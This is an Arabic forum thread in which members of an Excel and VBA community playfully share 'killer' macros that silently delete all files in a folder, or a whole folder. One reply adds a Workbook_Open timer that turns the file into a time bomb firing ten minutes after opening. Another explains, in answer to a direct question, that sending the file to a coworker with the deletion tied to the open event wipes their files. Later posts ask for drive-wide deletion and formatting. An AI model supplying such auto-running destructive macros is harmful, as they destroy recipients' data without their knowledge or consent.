الملف السفاح (ملف لحذف كل الملفات في مجلد محدد)

[ياسر خليل أبو البراء]

السلام عليكم ورحمة الله وبركاته

إخواني الكرام ..

بعد أن نال الملف القاتل إعجاب الكثيرين على هذا الرابط

  الملف القاتل (ملف يحوي كود لحذف أي ملف تحدده)

 

، فقد قررت أن تمتد سلسلة القتل (ليكون القتل بشكل جماعي) ..

القاتل أصبح سفاح ..!!

الملف المرفق ، تقوم بتحديد اسم المجلد داخل الكود ، ويكون المجلد في نفس مسار المصنف ، وبالطبع يمكن تحديد أي مجلد في أي مسار بشرط كتابة اسم المسار الصحيح ، حتى يصل السفاح للمجلد ، ويقوم بعملية الاغتيال الجماعية ..

أي حذف كل الملفات الموجودة داخل المجلد ..بصرف النظر عن امتدادات الملف ..

 

أكيد فيه ناس دلوقتي بتقول عليا إني بميل للعنف .. !!

ربنا يكفينا شر القتلة والسفاحين

تقبلوا تحيات أخوكم أبو البراء

Delete All Files In A Folder.rar

تم تعديل مارس 23, 2015 بواسطه YasserKhalil

[مختار حسين محمود]

أخى ياسر بلاش الملفات دى . اسألنى أنا .

خط الصعيد عندينا هنا لو شم خبر بأن فيه خط نتاوى غيره  هيخربها .

لو تسمح لى بتعليق صغير على اسم الملف أستاذى ياسر : Delete All Files In A Folder  تعنى حذف انما الملف لا يحذف وانما بيسفك  والعياذ بالله

والفارق بينهما أن الحذف هو : نقل الملفات الى السلة  أما السفك هو : ..................ولا بلاش  الموضوع كله بقى دمار شامل    تحياتى

[ياسر خليل أبو البراء]

اتجاهنا لازم يكون نحو أسلحة الدمار الشامل

وبعدين محدش هياخد خبر من الصعيد إلا إذا فيه حد فتن علينا ..

تقبل تحياتي أخي وحبيبي مختار (لازم أسايسك عشان متفتنش عليا)

[مختار حسين محمود]

طالما العملية بقت كده    وكلها  أسلحة نووية ÷  دمار شامل

 

يبقى نعمل موضوع عن الانشطار النووى للملف على غرار الانشطار الكبير

 

( معلش الاكسل هيتبهدل )

 

     

تم تعديل مارس 23, 2015 بواسطه مختار حسين محمود

[أبو إيمان]

جزاكم الله خيرا 

أستاذ ياسر

وأمس كنت أحاول في هذا الموضوع وتعبني جدا وانت كدا حلت لنا الموضوع

ومن ضمن الأفكار اللي كنت بحاول فيها والآن أنا منتظر تفجئنا بيها هو ان الملف يحذف كامل المجلد  يعني بنسف المنطقة مش يقتل جماعي فقط

[أبو إيمان]

بعد إذن الاستاذ ياسر

أقدم لكم الملف الانتحاري حيث يقوم الملف بعمل عملية انتحارية  حيث يدمر من حوله ويقتل نفسه

Option Explicit

Sub DeleteAllFilesInAFolder()

    Dim MyFolder, FSO, FLDR, FileName
    MyFolder = ThisWorkbook.Path
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set FLDR = FSO.GetFolder(MyFolder)
    With ThisWorkbook
                .Saved = True
            .ChangeFileAccess xlReadOnly
    For Each FileName In FLDR.Files
              FileName.Delete True
        Next
            .Close False
                End With
End Sub

جميع التعديلات مأخذة من أعمال الاستاذ ياسر

[Yasser Fathi Albanna]

ما شاء الله عليك يا أ / ياسر

بس أنا ليا تعليق صغير

كدا إللى بيحب الإكسيل هايخاف يقرب منه لأنه كدا الإكسيل بقى من أسلحة الدمار الشامل هههههههههههههههههههه

[مختار حسين محمود]

أخى أبو ايمان الملف الانتحارى ده  لا يعتبر انتحارى

وانما ديناميت  أنت توصل السلك ( أقصد تضغط الزر ) والديناميت ينفجر

انما الملف الانتحارى تلاقيه  بيفرقع لوحده دون تدخل منك وأنت بعيد

فاذا وضعت الكود التالى فى حدث المصنف

Private Sub Workbook_Open()
Dim dTime As Date

dTime = Now + TimeValue("00:10:00")
Application.OnTime dTime, "DeleteAllFilesInAFolder"

End Sub

والكود بتاعك  مديول عادى

Option Explicit

Sub DeleteAllFilesInAFolder()

Dim MyFolder, FSO, FLDR, FileName
MyFolder = ThisWorkbook.Path
Set FSO = CreateObject("Scripting.FileSystemObject")
Set FLDR = FSO.GetFolder(MyFolder)
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
For Each FileName In FLDR.Files
FileName.Delete True
Next
.Close False
End With
End Sub

الكود ده يستدعى الكود بتاعك بعد مدة زمنية  10 دقائق ( لو تحب غيرها كما تشاء فى الكود) وبالتالى يكون الملف قنبلة موقوتة .

 

أنصحك وأنصح كل الزملاء بعدم الاقتراب من الأكواد الغريبة . تحياتى  أخوك مختار من الوكالة الدولية للأكواد الذرية .  

تم تعديل مارس 24, 2015 بواسطه مختار حسين محمود

[ياسر خليل أبو البراء]

إنت شغالين الله ينور من غيري ..

طيب اتفضلوا الناسف الجديد ..

حدد مسار المجلد وبس ..

وكل اللي جوا المجلد من ملفات ومجلدات فرعية سيتم نسفها على الفور (الدمار الشامل !!!!!!!!! بجد)

 

Delete Whole Folder.rar

[أبو إيمان]

أخي مختار انت كدا حرقت المفاجئة

أنا عملت الكود الانتحاري اللي بيدمر نفسه وسط مجموعة وكن المفروض ننتظر الناس تجرب الكود وبعدين نعمل الشغل اللي من على بعد لكن ولا يهمك الناس يجربوا الاتنين بس الناس تحذر من الدمار اللي بيحصل

وجزاكم الله خيرا

أستاذنا ياسر جزاكم الله خيرا

جاري التجربة بعد 3 او 4 ساعات من الان إن شاء الله

تحذير نحذر من انتقال الخبرللهئةية الدولية النووية وهيئة المتفجرات

[حسام ميلكانا]

بسم الله ما شاء الله

الله عليكم ايها العباقرة ربنا يجعلة فى ميزان حسناتكم ويزيدكم من علمة

انا ليا سؤال

انا فى العمل مثلا وكلنا على شبكة وحدة لو انا ارسلت الملف لشخص اخر وعلى جهاز اخر يا ترى اقدر الفجرة ولا لاء

افيدونى بالله عليكم

وبارك الله فبكم ايها العباقرة

وشكرا

[أبو إيمان]

الملفات الموجودة تقوم على اساس تفجير المكان الذي فيها 

انت ابعت له الملف ومجرد ما يضغط على الزر يحذف له كل اللي عنده

أو ممكن من غير ما يضغط على الزر وتضع استدعاء الكود في حدث الملف أي بمجرد فتح الملف عملية التدمير هتم

بس بلاش الأذية

[عماراللهيبي]

بسم الله الرحمن الرحيم

اخي العزيز ياسر المحترم

اتدري انك باسلحتك هذه ستعرض المنتدى للتفتيش 

ويحتلونه بحجة اسلحة دمار شامل ...

من هنا تبدأ الاسئلة

هل يدمر كل ملفات الاكسل الموجودة في الحاسوب كلها

وكيف يمكنني معرفة انه الملف ملغم

[أبو إيمان]

المفات تدمر المنطقة الموجودة بها من ملفات اكسيل وغيرها  أو تحذف ملفات في مجلد محدد  أو  تحذف مجلد محدد  وليس كل ما هو موجود بالحاسوب

تعرف أنه ملغم من خلال قرأة الكود فقط

 

ومن أسئلة الأستاذ  عمار نحتاج للتعاون في عمل الآتي

1- كود لحذف جميع الملفات بالحاسوب أي تدمير شامل بمعنى الكلمة وإن لم نستطع فملف يقوم بعمل إعادة تهيئة للهارد ديسك

2- كاشف المتفجرات أي كود أو ملف يكشف لي هل الملف المرسل لي انتحار أو تدميري أم لا 

[ا بو سليمان]

اللهم  سلم  سلم  ... اللهم  سلم  سلم 

 

 

اجمل ما في الموضوع بعد  ابداع اخينا ياسر 

 

هو روح الفكاهة في الردود 

 

شكرا احبتنا  في اوفسينا على الاعمال الرائعة 

[ا بو سليمان]

طيب فيه اقتراح  للسلامة من اسلحة الدمار الشامل 

 

وهي ان تكون هنالك دهاليز   تتوه صاروخ الدمار الشامل    وتكون  داخل  الملف الاصل 

 

كذلك تكون فيه انفاق  يكون عملها هو اخراج الصاروخ قبل الانفجار الى خارج المكان  الذي وقع فيه 

 

او يكون فيه شبكة  تقبض على كل الشضايا  التي تخرج من الصاروخ المحمل بالنووي   وتقوم في احتوائة مره اخرى  داخل   حاجز  

 

او تكون هنالك قوه ردع   مساويه  للصاروخ  بالقوه   والحجم   

 

او تكون هنالك مستشفيات  يعالجون كل  المصابين  بسرعة   

 

لو تم عمل حماية من خلال مقطع صوتي  بدل الارقام والكلمات    ويكون  فيها نطق الصوت هو  المفتاح للملف  

 

 

(( الشيطان  يهرب من  الاذان  ))  ههههههههههههههه

تم تعديل أبريل 15, 2015 بواسطه ا بو سليمان

[أسماء]

هل بالامكان تشغيل هذا الكود على ملف وورد  بدل من الاكسيل    

[مختار حسين محمود]

نعم  ضع الكود التالى ملف الورد

Option Explicit

Sub DeleteAllFilesInAFolder()
    Dim MyFolder, FSO, FLDR, FileName
    
    MyFolder = ActiveDocument.Path & "\Test\"
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set FLDR = FSO.GetFolder(MyFolder)
    
    For Each FileName In FLDR.Files
        FileName.Delete True
    Next
End Sub

التطبيق على  المجلد  Test  بتاع أستاذنا ياسر

 

[صلاح الدين المصلح]

إبداع رائع ما شاء الله تبارك الله رب العالمين.

[AYMAN Z HARB]

مشكورين عمجهوداتكم بس طلعت معي المشكله هاي 

[مختار حسين محمود]

متأسف على تأخر الرد أستاذ ايمان

جرب  الكود نفسه مع اضافة سطرى  تجاوز الأخطاء

Option Explicit


Sub DeleteAllFilesInAFolder()
    Dim MyFolder, FSO, FLDR, FileName
    On Error Resume Next
    MyFolder = ActiveDocument.Path & "\Test\"
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set FLDR = FSO.GetFolder(MyFolder)
    
    For Each FileName In FLDR.Files
        FileName.Delete True
    Next
    On Error GoTo 0
End Sub

مع التأكد من وجود المجلد Test فى نفس مسار ملف الورد  يعنى جنبه

تم تعديل ديسمبر 20, 2015 بواسطه مختار حسين محمود

[أسماء]

جاري التجربة 

شكرا

 

لم يعمل الكود معي 

[مهند الزيدي]

أحسنتم على هذا المجهود .. ممكن تعديل الكود مثلا إذا أردنا حذف كافة مدخلات D أو C   أو E

أحسنتم على هذا المجهود .. ممكن تعديل الكود مثلا إذا أردنا حذف كافة مدخلات D أو C   أو E

[ياسر خليل أبو البراء]

مشكور على المرور أخي الكريم مهند ..

يمكنك تحديد المسار للمجلد المراد حذف الملفات بداخله

تقبل تحياتي

[مهند الزيدي]

شكرا على إستجابتك السريعة ممكن مثال .. وهل يمكن عمل فورمات نهائي لأحد اجزاء الهارد